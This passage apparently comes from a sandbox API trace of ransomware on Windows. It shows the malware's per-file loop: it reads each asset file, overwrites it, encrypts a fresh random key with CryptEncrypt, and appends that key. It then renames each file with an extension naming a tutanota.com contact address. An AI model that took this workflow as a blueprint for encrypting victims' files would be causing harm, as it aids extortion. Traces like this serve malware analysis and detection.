hHeap=0x520000) returned 1 [0171.482] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33f [0171.482] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.482] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.482] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.483] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.483] CloseHandle (hObject=0x1830) returned 1 [0171.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0171.483] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4f50 | out: hHeap=0x520000) returned 1 [0171.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618460 | out: hHeap=0x520000) returned 1 [0171.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6196a8 | out: hHeap=0x520000) returned 1 [0171.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618a00 [0171.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0171.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0171.485] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0171.485] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0171.485] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3", dwFileAttributes=0x80) returned 1 [0171.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x6196a8 [0171.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0171.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6196a8 | out: hHeap=0x520000) returned 1 [0171.520] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.520] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1128924) returned 1 [0171.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139dc) returned 0x3526020 [0171.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139dc) returned 0x3649020 [0171.525] ReadFile (in: hFile=0x1830, lpBuffer=0x3526020, nNumberOfBytesToRead=0x1139dc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3526020*, lpNumberOfBytesRead=0x2e1f9bc*=0x1139dc, lpOverlapped=0x0) returned 1 [0171.574] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1128924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.574] WriteFile (in: hFile=0x1830, lpBuffer=0x3649020*, nNumberOfBytesToWrite=0x1139dc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3649020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1139dc, lpOverlapped=0x0) returned 1 [0171.579] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3526020 | out: hHeap=0x520000) returned 1 [0171.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3649020 | out: hHeap=0x520000) returned 1 [0171.588] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1139dc [0171.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.588] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.588] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.588] CloseHandle (hObject=0x1830) returned 1 [0171.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0171.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0171.589] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5d09ce56b3b281be3dafbc4790edb6df5c9162ac126141d13ef5692ac6f76ea3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b57f0 | out: hHeap=0x520000) returned 1 [0171.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618a00 | out: hHeap=0x520000) returned 1 [0171.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618898 | out: hHeap=0x520000) returned 1 [0171.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x6196a8 [0171.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0171.590] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.590] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0171.591] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4", dwFileAttributes=0x80) returned 1 [0171.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618460 [0171.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0171.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618460 | out: hHeap=0x520000) returned 1 [0171.591] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.592] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21674) returned 1 [0171.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x54aa) returned 0x30d1028 [0171.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x54aa) returned 0x30d64e0 [0171.592] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x54aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x54aa, lpOverlapped=0x0) returned 1 [0171.600] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-21674, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.600] WriteFile (in: hFile=0x1830, lpBuffer=0x30d64e0*, nNumberOfBytesToWrite=0x54aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d64e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54aa, lpOverlapped=0x0) returned 1 [0171.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0171.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d64e0 | out: hHeap=0x520000) returned 1 [0171.600] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54aa [0171.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.601] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.601] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.602] CloseHandle (hObject=0x1830) returned 1 [0171.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0171.602] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\55b8377beb7d1d0e9d4fe7b763ce5af97ccf3013e6af720a22569410e155a0c4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b57f0 | out: hHeap=0x520000) returned 1 [0171.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6196a8 | out: hHeap=0x520000) returned 1 [0171.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61a1e8 | out: hHeap=0x520000) returned 1 [0171.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x61a1e8 [0171.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.604] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.604] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.604] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9", dwFileAttributes=0x80) returned 1 [0171.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618898 [0171.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b53a0 [0171.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618898 | out: hHeap=0x520000) returned 1 [0171.605] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.605] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16720) returned 1 [0171.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4150) returned 0x30d1028 [0171.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4150) returned 0x30d5180 [0171.605] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4150, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4150, lpOverlapped=0x0) returned 1 [0171.618] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.618] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5180*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5180*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4150, lpOverlapped=0x0) returned 1 [0171.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0171.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5180 | out: hHeap=0x520000) returned 1 [0171.618] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4150 [0171.618] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.618] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.619] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.619] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.619] CloseHandle (hObject=0x1830) returned 1 [0171.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.619] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\54381f4f59ea8b998d39c632ceef8207bb5623030b6d8c7a2b76f3f9a00e5bd9.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b53a0 | out: hHeap=0x520000) returned 1 [0171.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61a1e8 | out: hHeap=0x520000) returned 1 [0171.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618b68 | out: hHeap=0x520000) returned 1 [0171.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618460 [0171.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0171.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0171.621] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30", dwFileAttributes=0x80) returned 1 [0171.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618898 [0171.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b53a0 [0171.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618898 | out: hHeap=0x520000) returned 1 [0171.621] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.622] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3411) returned 1 [0171.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd53) returned 0x33b6018 [0171.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd53) returned 0x2f6b898 [0171.622] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0xd53, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0xd53, lpOverlapped=0x0) returned 1 [0171.630] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-3411, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.630] WriteFile (in: hFile=0x1830, lpBuffer=0x2f6b898*, nNumberOfBytesToWrite=0xd53, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6b898*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd53, lpOverlapped=0x0) returned 1 [0171.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0171.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6b898 | out: hHeap=0x520000) returned 1 [0171.631] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd53 [0171.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.631] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.631] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.631] CloseHandle (hObject=0x1830) returned 1 [0171.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0171.631] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\53e3fbcae3ecf59049f0a1751d56cd9e4bd29256fdf5be6708489d94d0256f30.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b53a0 | out: hHeap=0x520000) returned 1 [0171.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618460 | out: hHeap=0x520000) returned 1 [0171.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619f18 | out: hHeap=0x520000) returned 1 [0171.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619f18 [0171.634] RtlAllocateHeap 